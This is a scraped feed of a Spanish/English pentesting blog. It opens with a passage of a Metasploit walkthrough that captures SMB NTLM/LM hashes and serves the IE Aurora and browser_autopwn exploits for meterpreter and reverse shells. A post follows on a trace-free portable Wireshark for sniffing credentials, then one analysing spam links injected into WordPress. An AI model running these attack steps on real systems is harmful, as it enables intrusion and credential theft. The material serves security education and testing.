<span class="re3"># &nbsp; &nbsp;# # &nbsp; &nbsp; &nbsp; &nbsp;# &nbsp; ###### &nbsp; &nbsp; &nbsp;# ##### &nbsp;# &nbsp; &nbsp; &nbsp;# &nbsp; &nbsp;# # &nbsp; # &nbsp; </span><br />
<span class="re3"># &nbsp; &nbsp;# # &nbsp; &nbsp; &nbsp; &nbsp;# &nbsp; # &nbsp; &nbsp;# # &nbsp; &nbsp;# # &nbsp; &nbsp; &nbsp;# &nbsp; &nbsp; &nbsp;# &nbsp; &nbsp;# # &nbsp; # &nbsp; </span><br />
<span class="re3"># &nbsp; &nbsp;# ###### &nbsp; # &nbsp; # &nbsp; &nbsp;# &nbsp;#### &nbsp;# &nbsp; &nbsp; &nbsp;###### &nbsp;#### &nbsp;# &nbsp; # &nbsp; </span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp;=<span class="br0">&#91;</span> metasploit v3<span class="nu0">.3</span><span class="nu0">.4</span>-dev <span class="br0">&#91;</span>core:<span class="nu0">3.3</span> api:<span class="nu0">1.0</span><span class="br0">&#93;</span><br />
+ &#8212; &#8211;=<span class="br0">&#91;</span> <span class="nu0">324</span> exploits &#8211; <span class="nu0">105</span> auxiliary<br />
+ &#8212; &#8211;=<span class="br0">&#91;</span> <span class="nu0">217</span> payloads &#8211; <span class="nu0">20</span> encoders &#8211; <span class="nu0">6</span> nops<br />
&nbsp; &nbsp; &nbsp; &nbsp;=<span class="br0">&#91;</span> svn r8286 updated today <span class="br0">&#40;</span><span class="nu0">2010.01</span><span class="nu0">.28</span><span class="br0">&#41;</span></p>
<p>msf &gt;</p></div>
<p>For the next modules you need to work with the root account because you need to open priviledges ports like 80, 135 and 445 for the attack to work. I am using Ubuntu Linux Karmic Koala, but you can use the <a href="http://remote-exploit.org/backtrack.html">Backtrack Project</a> for this attack.</p>
<p><strong>NTLM or LM Interception.</strong></p>
<p>We start the attack.</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="kw2">sudo</span> msfconsole <br />
msf &gt; use auxiliary/server/capture/smb<br />
msf auxiliary<span class="br0">&#40;</span>smb<span class="br0">&#41;</span> &gt; <span class="kw1">set</span> &nbsp;LOGFILE Metasploit139.log<br />
LOGFILE =&gt; Metasploit139.log<br />
msf auxiliary<span class="br0">&#40;</span>smb<span class="br0">&#41;</span> &gt; <span class="kw1">set</span> &nbsp;PWFILE Metasploit139.<span class="kw3">pwd</span> <br />
PWFILE =&gt; Metasploit139.<span class="kw3">pwd</span><br />
msf auxiliary<span class="br0">&#40;</span>smb<span class="br0">&#41;</span> &gt; run<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Auxiliary module execution completed<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Server started.</p>
<p>msf auxiliary<span class="br0">&#40;</span>smb<span class="br0">&#41;</span> &gt; <span class="kw1">set</span> &nbsp;LOGFILE Metasploit445.log &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br />
LOGFILE =&gt; Metasploit445.log<br />
msf auxiliary<span class="br0">&#40;</span>smb<span class="br0">&#41;</span> &gt; <span class="kw1">set</span> &nbsp;PWFILE Metasploit445.<span class="kw3">pwd</span> <br />
PWFILE =&gt; Metasploit445.<span class="kw3">pwd</span><br />
msf auxiliary<span class="br0">&#40;</span>smb<span class="br0">&#41;</span> &gt; <span class="kw1">set</span> SRVPORT <span class="nu0">445</span> <br />
SRVPORT =&gt; <span class="nu0">445</span><br />
msf auxiliary<span class="br0">&#40;</span>smb<span class="br0">&#41;</span> &gt; run<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Auxiliary module execution completed<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Server started.<br />
msf auxiliary<span class="br0">&#40;</span>smb<span class="br0">&#41;</span> &gt; <br />
&nbsp;</div>
<p>I am running the service on both 139 and 445 because in my experience it improves the chances to catch an authentication hash. Now we have to wait and with some luck you sould see something like:</p>
<p>[*] Received 192.168.0.103:2281 MYDOMAIN\LAMEUSER LMHASH:7c83b9be93e202a4be355b75e982144b59bb9f836ec26200 NTHASH:9fc0fba25cb2817441a0ca8c003a4b68da83ef9e72514b2e OS:Windows 2002 2600 Service Pack 1 LM:Windows 2002 5.1</p>
<p>This is good but you can&#8217;t just use that hash to authenticate so you have to crack it using the idea from carnal0wnage&#8217;s blog article: <a href="http://carnal0wnage.blogspot.com/2009/04/using-metasploit-smb-sniffer-module.html">Using the Metasploit SMB Sniffer Module</a> NOTE: The tool halflm_second.rb is in the tools directory inside the Metsploit directory.</p>
<p><strong>Attacking the Browser directly</strong></p>
<p>Now we have to start the browser_autopwn </p>
<div class="dean_ch" style="white-space: wrap;">
msf auxiliary<span class="br0">&#40;</span>smb<span class="br0">&#41;</span> &gt; use windows/browser/ie_aurora &nbsp; &nbsp; <br />
msf exploit<span class="br0">&#40;</span>ie_aurora<span class="br0">&#41;</span> &gt; <span class="kw1">set</span> SRVPORT <span class="nu0">80</span> &nbsp; <br />
SRVPORT =&gt; <span class="nu0">80</span><br />
msf exploit<span class="br0">&#40;</span>ie_aurora<span class="br0">&#41;</span> &gt; <span class="kw1">set</span> URIPATH / &nbsp; &nbsp;<br />
URIPATH =&gt; /<br />
msf exploit<span class="br0">&#40;</span>ie_aurora<span class="br0">&#41;</span> &gt; <span class="kw1">set</span> PAYLOAD windows/meterpreter/bind_tcp <br />
PAYLOAD =&gt; windows/meterpreter/bind_tcp<br />
msf exploit<span class="br0">&#40;</span>ie_aurora<span class="br0">&#41;</span> &gt; show options </p>
<p>Module options:</p>
<p>&nbsp; &nbsp;Name &nbsp; &nbsp; &nbsp; &nbsp;Current Setting &nbsp;Required &nbsp;Description<br />
&nbsp; &nbsp;&#8212;- &nbsp; &nbsp; &nbsp; &nbsp;&#8212;&#8212;&#8212;&#8212;&#8212; &nbsp;&#8212;&#8212;&#8211; &nbsp;&#8212;&#8212;&#8212;&#8211;<br />
&nbsp; &nbsp;SRVHOST &nbsp; &nbsp; <span class="nu0">0.0</span><span class="nu0">.0</span><span class="nu0">.0</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw2">yes</span> &nbsp; &nbsp; &nbsp; The <span class="kw3">local</span> host to listen on.<br />
&nbsp; &nbsp;SRVPORT &nbsp; &nbsp; <span class="nu0">80</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">yes</span> &nbsp; &nbsp; &nbsp; The <span class="kw3">local</span> port to listen on.<br />
&nbsp; &nbsp;SSL &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">false</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;no &nbsp; &nbsp; &nbsp; &nbsp;Negotiate SSL <span class="kw1">for</span> incoming connections<br />
&nbsp; &nbsp;SSLVersion &nbsp;SSL3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; no &nbsp; &nbsp; &nbsp; &nbsp;Specify the version of SSL that should be used <span class="br0">&#40;</span>accepted: SSL2, SSL3, TLS1<span class="br0">&#41;</span><br />
&nbsp; &nbsp;URIPATH &nbsp; &nbsp; / &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;no &nbsp; &nbsp; &nbsp; &nbsp;The URI to use <span class="kw1">for</span> this exploit <span class="br0">&#40;</span>default is random<span class="br0">&#41;</span></p>
<p>
Payload options <span class="br0">&#40;</span>windows/meterpreter/bind_tcp<span class="br0">&#41;</span>:</p>
<p>&nbsp; &nbsp;Name &nbsp; &nbsp; &nbsp;Current Setting &nbsp;Required &nbsp;Description<br />
&nbsp; &nbsp;&#8212;- &nbsp; &nbsp; &nbsp;&#8212;&#8212;&#8212;&#8212;&#8212; &nbsp;&#8212;&#8212;&#8211; &nbsp;&#8212;&#8212;&#8212;&#8211;<br />
&nbsp; &nbsp;EXITFUNC &nbsp;process &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw2">yes</span> &nbsp; &nbsp; &nbsp; Exit technique: seh, thread, process<br />
&nbsp; &nbsp;LPORT &nbsp; &nbsp; <span class="nu0">4444</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">yes</span> &nbsp; &nbsp; &nbsp; The <span class="kw3">local</span> port<br />
&nbsp; &nbsp;RHOST &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;no &nbsp; &nbsp; &nbsp; &nbsp;The target address</p>
<p>
Exploit target:</p>
<p>&nbsp; &nbsp;Id &nbsp;Name<br />
&nbsp; &nbsp;&#8211; &nbsp;&#8212;-<br />
&nbsp; &nbsp;<span class="nu0">0</span> &nbsp; Automatic</p>
<p>msf exploit<span class="br0">&#40;</span>ie_aurora<span class="br0">&#41;</span> &gt; exploit <br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Exploit running <span class="kw2">as</span> background job.<br />
msf exploit<span class="br0">&#40;</span>ie_aurora<span class="br0">&#41;</span> &gt; <br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Started <span class="kw3">bind</span> handler<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Using URL: http://<span class="nu0">0.0</span><span class="nu0">.0</span><span class="nu0">.0</span>:<span class="nu0">80</span>/<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> &nbsp;Local IP: http://<span class="nu0">192.168</span><span class="nu0">.123</span><span class="nu0">.3</span>:<span class="nu0">80</span>/<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Server started.<br />
&nbsp;</div>
<p>That&#8217;s it now you have to wait so a browser bite the bait and get a meterpreter console. This was about the Aurora new Metasploit&#8217;s module because is the new trend of the night but let&#8217;s face it, it is just part of the big world of the browser attacks. So if you are just lazy you can use the browser_autopwn module:</p>
<div class="dean_ch" style="white-space: wrap;">
msf auxiliary<span class="br0">&#40;</span>browser_autopwn<span class="br0">&#41;</span> &gt; db_driver &nbsp;sqlite3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Using database driver sqlite3<br />
msf &gt; use server/browser_autopwn<br />
msf auxiliary<span class="br0">&#40;</span>browser_autopwn<span class="br0">&#41;</span> &gt; <span class="kw1">set</span> LHOST <span class="nu0">192.168</span><span class="nu0">.123</span><span class="nu0">.3</span><br />
LHOST =&gt; <span class="nu0">192.168</span><span class="nu0">.123</span><span class="nu0">.3</span><br />
msf auxiliary<span class="br0">&#40;</span>browser_autopwn<span class="br0">&#41;</span> &gt; <span class="kw1">set</span> SRVPORT <span class="nu0">80</span> &nbsp;<br />
SRVPORT =&gt; <span class="nu0">80</span><br />
msf auxiliary<span class="br0">&#40;</span>browser_autopwn<span class="br0">&#41;</span> &gt; <span class="kw1">set</span> URIPATH /<br />
URIPATH =&gt; /<br />
msf auxiliary<span class="br0">&#40;</span>browser_autopwn<span class="br0">&#41;</span> &gt; show options &nbsp;</p>
<p>Module options:</p>
<p>&nbsp; &nbsp;Name &nbsp; &nbsp; &nbsp; &nbsp;Current Setting &nbsp;Required &nbsp;Description<br />
&nbsp; &nbsp;&#8212;- &nbsp; &nbsp; &nbsp; &nbsp;&#8212;&#8212;&#8212;&#8212;&#8212; &nbsp;&#8212;&#8212;&#8211; &nbsp;&#8212;&#8212;&#8212;&#8211;<br />
&nbsp; &nbsp;LHOST &nbsp; &nbsp; &nbsp; <span class="nu0">192.168</span><span class="nu0">.123</span><span class="nu0">.3</span> &nbsp; &nbsp;<span class="kw2">yes</span> &nbsp; &nbsp; &nbsp; The IP address to use <span class="kw1">for</span> reverse-connect payloads<br />
&nbsp; &nbsp;SRVHOST &nbsp; &nbsp; <span class="nu0">0.0</span><span class="nu0">.0</span><span class="nu0">.0</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw2">yes</span> &nbsp; &nbsp; &nbsp; The <span class="kw3">local</span> host to listen on.<br />
&nbsp; &nbsp;SRVPORT &nbsp; &nbsp; <span class="nu0">80</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">yes</span> &nbsp; &nbsp; &nbsp; The <span class="kw3">local</span> port to listen on.<br />
&nbsp; &nbsp;SSL &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">false</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;no &nbsp; &nbsp; &nbsp; &nbsp;Negotiate SSL <span class="kw1">for</span> incoming connections<br />
&nbsp; &nbsp;SSLVersion &nbsp;SSL3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; no &nbsp; &nbsp; &nbsp; &nbsp;Specify the version of SSL that should be used <span class="br0">&#40;</span>accepted: SSL2, SSL3, TLS1<span class="br0">&#41;</span><br />
&nbsp; &nbsp;URIPATH &nbsp; &nbsp; / &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;no &nbsp; &nbsp; &nbsp; &nbsp;The URI to use <span class="kw1">for</span> this exploit <span class="br0">&#40;</span>default is random<span class="br0">&#41;</span><br />
msf auxiliary<span class="br0">&#40;</span>browser_autopwn<span class="br0">&#41;</span> &gt; run<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Auxiliary module execution completed<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Starting exploit modules on host <span class="nu0">192.168</span><span class="nu0">.123</span><span class="nu0">.3</span>&#8230;<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> &#8212;</p>
<p><span class="br0">&#91;</span>*<span class="br0">&#93;</span> Starting exploit multi/browser/firefox_escape_retval with payload generic/shell_reverse_tcp<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Using URL: http://<span class="nu0">0.0</span><span class="nu0">.0</span><span class="nu0">.0</span>:<span class="nu0">80</span>/IC0F7kIlYh<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> &nbsp;Local IP: http://<span class="nu0">192.168</span><span class="nu0">.123</span><span class="nu0">.3</span>:<span class="nu0">80</span>/IC0F7kIlYh<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Server started.<br />
&#8230;<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Starting the payload handler&#8230;<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Started reverse handler on port <span class="nu0">6666</span><br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Starting the payload handler&#8230;</p>
<p><span class="br0">&#91;</span>*<span class="br0">&#93;</span> &#8212; Done, found <span class="nu0">15</span> exploit modules</p>
<p><span class="br0">&#91;</span>*<span class="br0">&#93;</span> Using URL: http://<span class="nu0">0.0</span><span class="nu0">.0</span><span class="nu0">.0</span>:<span class="nu0">80</span>/<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> &nbsp;Local IP: http://<span class="nu0">192.168</span><span class="nu0">.123</span><span class="nu0">.3</span>:<span class="nu0">80</span>/<br />
<span class="br0">&#91;</span>*<span class="br0">&#93;</span> Server started.<br />
&nbsp;</div>
<p>That&#8217;s it now you have to wait so a browser bite the bait and get a shell inside the computer with the user priviledges that is running the browser.</p>
<p>Happy Pentesting</p>
<p><em>Adrián Puente Z.</em></p>
<p><strong>Technorati Tags: </strong><br />
<a href="http://www.technorati.com/tag/hackarandas" rel="tag">hackarandas</a>; <a href="http://www.technorati.com/tag/Adrian+Puente+Z." rel="tag">Adrian Puente Z.</a>; <a href="http://www.technorati.com/tag/Metasploit" rel="tag">Metasploit</a>; <a href="http://www.technorati.com/tag/Hacker" rel="tag">Hacker</a>; <a href="http://www.technorati.com/tag/Aurora+IE+" rel="tag">Aurora IE </a>; <a href="http://www.technorati.com/tag/Ettercap" rel="tag">Ettercap</a>; <a href="http://www.technorati.com/tag/arp+poisoning" rel="tag">arp poisoning</a>; <a href="http://www.technorati.com/tag/security" rel="tag">security</a>; <a href="http://www.technorati.com/tag/pentest" rel="tag">pentest</a>; <a href="http://www.technorati.com/tag/pentesting" rel="tag">pentesting</a>; <a href="http://www.technorati.com/tag/hacking" rel="tag">hacking</a>; <a href="http://www.technorati.com/tag/hacker" rel="tag">hacker</a>; <a href="http://www.technorati.com/tag/smb" rel="tag">smb</a>; <a href="http://www.technorati.com/tag/hashes" rel="tag">hashes</a>; <a href="http://turbotagger.brainbliss.com">Tag generator</a></p>
]]></content:encoded>
			<wfw:commentRss>http://hackarandas.com/blog/2010/01/28/ettercap-metasploit-helping-the-aurora-attack/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Wireshark Verdaderamente Portable</title>
		<link>http://hackarandas.com/blog/2009/10/08/truly-portable-wireshark/</link>
		<comments>http://hackarandas.com/blog/2009/10/08/truly-portable-wireshark/#comments</comments>
		<pubDate>Fri, 09 Oct 2009 02:29:54 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Adrian Puente Z.]]></category>
		<category><![CDATA[hackarandas.com]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[sniffing]]></category>
		<category><![CDATA[wireshark]]></category>
		<category><![CDATA[wireshark portable]]></category>

		<guid isPermaLink="false">http://hackarandas.com/blog/?p=132</guid>
		<description><![CDATA[ Truly Portable Wireshark
 Translate this page to english 
Una de las vulnerabilidades graves que siempre encontramos en las empresas durante las pruebas de penetración es el uso de protocolos inseguros como el Telnet, FTP y HTTP cuyo tráfico viaja en texto claro que puede ser fácilmente reensamblado e interpretado y de ahí obtener usuarios [...]]]></description>
			<content:encoded><![CDATA[<p><u style=display:none> Truly Portable Wireshark</u><br />
<img src="http://hackarandas.com/blog/wp-content/uploads/2009/10/mini.shark-150x150.jpg" alt="Wireshark Verdaderamente Portable" title="Mini tiburón"  style="margin: 10px 10px 0pt 0pt; float: left; " align=left width="150" height="150" class="size-thumbnail wp-image-133" /> <a href="http://translate.google.com/translate?prev=hp&#038;hl=en&#038;js=y&#038;u=http%3A%2F%2Fhackarandas.com%2Fblog%2F2009%2F10%2F08%2Ftruly-portable-wireshark%2F&#038;sl=es&#038;tl=en&#038;history_state0=">Translate this page to english</a> </p>
<p>Una de las vulnerabilidades graves que siempre encontramos en las empresas durante las pruebas de penetración es el uso de protocolos inseguros como el Telnet, FTP y HTTP cuyo tráfico viaja en texto claro que puede ser fácilmente reensamblado e interpretado y de ahí obtener usuarios y contraseñas de otros aqctivos en la red como el Dominio de Windows, el ERP o el CRM. </p>
<p>Una vez que hemos tomado control del Dominio de Windows empezamos a acceder otros activos en segmentos críticos como la red donde se hallan los administradores de los diferentes sistemas; y así, procurarnos unas horas de capturas del tráfico de esa red esperando encontrar credenciales dentro de los protocolos inseguros que aún se emplean.</p>
<p>Uno de los problemas que se nos presentaba era que este procedimiento era intrusivo pues el <a href="http://www.wireshark.org/">Wireshark</a> requiere de las librerías de <a href="http://www.winpcap.org/">Winpcap</a> en el equipo donde lo queremos correr y esto no es aceptable en nuestros procedimientos pues comúnmente no queremos dejar rastros en los equipos tomados.</p>
<p>Buscando en la red hallé <a href="http://wiki.wireshark.org/WiresharkPortable">una versión portable del mismo</a> pero tenía el mismo problema: Instalaba el Winpcap y lo desinstalaba al terminar, siendo el mismo problema. </p>
<p>Luis &#8220;El Hellboy&#8221; Brauer y yo nos pusimosa investigar como corregir este problema y hallamos en varios foros (cuyas URLs perdí, lo siento) varios detalles sobre el funcionamiento de las librerias del Winpcap y así buscar procedimiento para darle vuelta.</p>
<p>Tengo el gusto de compartirles nuestro desarrollo y esperamos que les sea útil, aunque su descarga está prohibida a aquellos que deseén usarlo para redes ajenas a su administración.</p>
<p><strong>Instrucciones:</strong></p>
<p>Descarga el archivo <a href="http://hackarandas.com/hacking-projects/TrulyPortableWireshark.7z">aqui</a> y descomprímelo en alguna raiz ya sea en C:\ o en una unidad de almacenamiento USB. Se ejecuta el arrancador que dará de alta las variables de entorno pertinentes y copiará un archivo en la unidad de %SystemRoot% y al terminar lo borrará sin dejar rastros. Terminada la captura solo hay que cerrar el programa y borrar la carpeta.</p>
<p>Yo recomiendo que se capturen varias horas en archivos no mayores a 200 MB y antes de esto verificar que hay espacio suficiente en la unidad donde guardemos la captura, ¿No queremos que se caiga el servidor por nuestra intervención, verdad?</p>
<p>Bueno, es todo, espero lo encuentren útil e interesante. Esperen nuevas herramientas, técnicas y posts y no dejen de darse una vuelta por el <a href="http://hackarandas.com/hacking-projects/">repositorio de herramientas</a> de Hackarandas. Prometo no desaparecer ya tanto y dénse una vuelta por <a href="http://www.sound2sin.com/">Sound2Sin</a>, un blog hermano que empezamos a armar.</p>
<address>Adrian Puente Z.</address>
<p>Technorati Tags: <a href="http://technorati.com/tag/hackarandas" rel="tag">hackarandas</a>, <a href="http://technorati.com/tag/adrian%20puente%20z." rel="tag">Adrian Puente Z.</a>, <a href="http://technorati.com/tag/truly%20portable%20wireshark" rel="tag">truly portable wireshark</a>, <a href="http://technorati.com/tag/wireshark%20verdaderamente%20portable" rel="tag">Wireshark verdaderamente portable</a>, <a href="http://technorati.com/tag/hacking" rel="tag">hacking</a>, <a href="http://technorati.com/tag/pentest" rel="tag">pentest</a>, <a href="http://technorati.com/tag/sniffer" rel="tag">sniffer</a>, <a href="http://technorati.com/tag/sniffing" rel="tag">sniffing</a></p>
]]></content:encoded>
			<wfw:commentRss>http://hackarandas.com/blog/2009/10/08/truly-portable-wireshark/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Blogs Usados para Indexar Sitios de Spam</title>
		<link>http://hackarandas.com/blog/2009/04/23/blogs-usados-para-indexar-sitios-de-spam/</link>
		<comments>http://hackarandas.com/blog/2009/04/23/blogs-usados-para-indexar-sitios-de-spam/#comments</comments>
		<pubDate>Thu, 23 Apr 2009 06:28:52 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
				<category><![CDATA[Experiencias y Narraciones]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Adrian Puente Z.]]></category>
		<category><![CDATA[blogger]]></category>
		<category><![CDATA[hackarandas.com]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[nuevos metodos de spam]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://hackarandas.com/blog/?p=69</guid>
		<description><![CDATA[ Blogs Used for Indexing Spam Sites
 Translate this page to english
Hace no mas de dos semanas, empecé a observar que el blog de un amigo se comportaba de forma extraña: Cuando hacía un post, este se visualizaba bien pero a los dos días desaparecía el contenido y después de otros dos días regresaba. Esto [...]]]></description>
			<content:encoded><![CDATA[<p><u style=display:none> Blogs Used for Indexing Spam Sites</u><br />
<img src="http://hackarandas.com/blog/wp-content/uploads/2009/04/pwned-3-150x150.jpg" alt="Pwned!" title="Pwned!" style="margin: 10px 10px 0pt 0pt; float: left; " width="150" height="150" class="size-thumbnail wp-image-71" align=left/><a href="http://translate.google.com/translate?hl=en&#038;sl=es&#038;tl=en&#038;u=http://hackarandas.com/blog/2009/04/23/blogs-usados-para-indexar-sitios-de-spam/&#038;prev=hp"> Translate this page to english</a></p>
<p>Hace no mas de dos semanas, empecé a observar que el blog de un amigo se comportaba de forma extraña: Cuando hacía un post, este se visualizaba bien pero a los dos días desaparecía el contenido y después de otros dos días regresaba. Esto se lo comenté a mi amigo y al analizar el contenido del post pudimos observar que al final concatenaron cientos de links a otros sitios con un estilo que los ocultaba. Algo parecido a esto:</p>
<p><code><br />
&lt;u style=display:none&gt;&lt;a href="http://www.sitiofueradecontexto.com/event/?p=292"&gt;http://www.sitiofueradecontexto.com/event/?p=292&lt;/a&gt; irssa<br />
&lt;a href="http://www.sitiofueradecontexto.com/event/?p=8306"&gt;http://www.sitiofueradecontexto.com/event/?p=8306&lt;/a&gt;  nmeathgCnApiue<br />
&lt;a href="http://www.sitiofueradecontexto.com/event/?p=216"&gt;http://www.sitiofueradecontexto.com/event/?p=216&lt;/a&gt; ipNm<br />
&lt;a href="http://www.sitiofueradecontexto.com/event/?p=7207"&gt;http://www.sitiofueradecontexto.com/event/?p=7207&lt;/a&gt; Peh<br />
----- 300 lineas mas ---<br />
&lt;/u&gt;<br />
</code></p>
<p>Lo curioso es que las ligas no se ven dentro del post y al ingresar a una de las ligas encontré lo siguiente:<br />
<a href="http://hackarandas.com/blog/wp-content/uploads/2009/04/spamurl.jpg"><img src="http://hackarandas.com/blog/wp-content/uploads/2009/04/spamurl-300x199.jpg" alt="Sitio apocrifo" title="Sitio apocrifo" width="300" height="199" class="size-medium wp-image-78" /></a></p>
<p>Pero si nos vamos a la raiz de la URL vemos un sitio totalmente diferente! Imaginen mi cara mientras sale de mi boca un ¿Qué es lo que está pasando? </p>
<p>Resulta que los spammers están hackeando sitios para meter spam de los diversos temas que ya sabemos. Estoy de acuerdo, esto no es nuevo, pero está empleando una vulnerabilidad en los blogs para meter ligas apócrifas para que google las indexe y sean encontradas. Esto no lo he visto publicado en otro lado, pero si me equivoco, plz, dejen la liga en un comentario para complementar este post.</p>
<p><strong>Para muestra un botón</strong></p>
<p>Si buscamos la URL en google podemos ver lo siguiente:</p>
<p><a href="http://hackarandas.com/blog/wp-content/uploads/2009/04/spamengoogle1.jpg"><img src="http://hackarandas.com/blog/wp-content/uploads/2009/04/spamengoogle1-300x252.jpg" alt="Spam en Google" title="Spam en Google" width="300" height="252" class="size-medium wp-image-80" /></a></p>
<p>Si nos vamos a una de las ligas que nos muestra Google, por ejemplo <a href="http://www.15digitalmarketing.co.uk/articles/">http://www.15digitalmarketing.co.uk/articles/</a> podemos ver la siguiente página:</p>
<p><a href="http://hackarandas.com/blog/wp-content/uploads/2009/04/hackedsitenormal.jpg"><img src="http://hackarandas.com/blog/wp-content/uploads/2009/04/hackedsitenormal-270x300.jpg" alt="Sitio con código spam insertado en el Post" title="Sitio con código spam insertado en el Post" width="270" height="300" class="size-medium wp-image-82" /></a></p>
<p>Si analizamos mas detenidamente el código HTML del sitio podemos ver los siguiente:</p>
<p><a href="http://hackarandas.com/blog/wp-content/uploads/2009/04/hackersitecode.jpg"><img src="http://hackarandas.com/blog/wp-content/uploads/2009/04/hackersitecode-300x180.jpg" alt="Codigo de sitio con código inyectado" title="Codigo de sitio con código inyectado" width="300" height="180" class="size-medium wp-image-87" /></a></p>
<p>http://www.hartoftheapple.com</p>
<p>Cómo vemos, las ligas apuntan a <a href="http://http://www.hartoftheapple.com">http://www.hartoftheapple.com</a> que es un sitio que no tiene absolutamente nada que ver con la venta de medicinas pero que ha sido comprometido y que está alojando sitios de Spam sin saberlo y a lo mejor hasta de Phishing.</p>
<p>Regresemos al sitio al que se le ha inyectado el código y analicemos un poco mas del código fuente HTML de la primera página y observaremos mas código inyectado pero a otros sitios!</p>
<p><a href="http://hackarandas.com/blog/wp-content/uploads/2009/04/hackersitecode1.jpg"><img src="http://hackarandas.com/blog/wp-content/uploads/2009/04/hackersitecode1-150x150.jpg" alt="Código inyectado a sitio normal" title="Código inyectado a sitio normal" width="300" height="252" class="size-medium wp-image-88" /></a></p>
<p><right><a href="http://hackarandas.com/blog/wp-content/uploads/2009/04/hackersitecode2.jpg"><img src="http://hackarandas.com/blog/wp-content/uploads/2009/04/hackersitecode2-150x150.jpg" alt="Código inyectado a sitio normal" title="Código inyectado a sitio normal" width="300" height="252" class="size-medium wp-image-89" /></a></right></p>
<p><strong>Conclusión</strong></p>
<p>Lo métodos de los spammers se han vuelto cada vez mas complejos, desde <a href="http://attrition.org/security/commentary/">insertar la publicidad en documentos PDF para brincarse los filtros</a> hasta lo que estoy presentando hoy. Estos usuarios maliciosos del Internet están vulnerando la aplicación Wordpress para inyectar su código, pero lo mas interesante es que lo hacen con sumo cuidado para no ser descubiertos. Hace casi diez años, cuando empezaba con mi carrera de informática, se podía ver que el comprometer sitios <a href="http://www.attrition.org/security/commentary/">era vandalismo sin sentido</a> que buscaba el reconocimiento y respeto de sus compañeros de team. Al parecer estos mismos script kiddies han crecido y han hecho de esta carrera delictiva un negocio remunerado y ligado al crimen cibernético, no todos <a href="http://www.darkreading.com/security/management/showArticle.jhtml?articleID=208804198">sientan cabeza y se apegan &#8220;al sistema&#8221;</a>, se dedican a comprometer sitios, crean botnet y cuando menos tiene una una infraestructura sólida para realizar delitos mas fuertes como el robo de identidad y el fraude electrónico.</p>
<p>Si eres un blogger y usas el sistema de Wordpress es importante que lo actualices en este momento. Puedes seguir la guía en la <a href="http://codex.wordpress.org/Upgrading_WordPress">siguiente página</a> y te vas a ahorrar varios dolores de cabeza. Muchas veces no es el sistema de wordpress sino los plugins de terceros que instalamos, <a href="http://www.h-online.com/news/phpBB-hacked-400-000-account-details-intercepted--/112567">como le pasó a PHP BB</a> por lo que es importante actualizar estos también.</p>
<p>Si crees que tu sitio ha sido comprometido, las buenas prácticas dictan, parchar el sistema operativo, reinstalar todo desde un respaldo limpio, cambiar todas las contraseñas y restringir el acceso a usuarios sospechosos hasta que se recupere el control. Si eres como muchos que no hacen respaldo (mal muy mal) si es bueno reinstalar el código del portal, y revisar en scripts código malicioso y archivos extraños y/o ocultos, al igual que el cron.</p>
<p>No sé en que acabe esto pero está muy interesante. A estas alturas ya todos los sitios que se analizaron han sido notificados sobre su posible comprometimiento y este post se va derechito al <a href="http://www.seguridad.unam.mx/">Cert de la UNAM</a>.</p>
<address>Adrián Puente Z. </address>
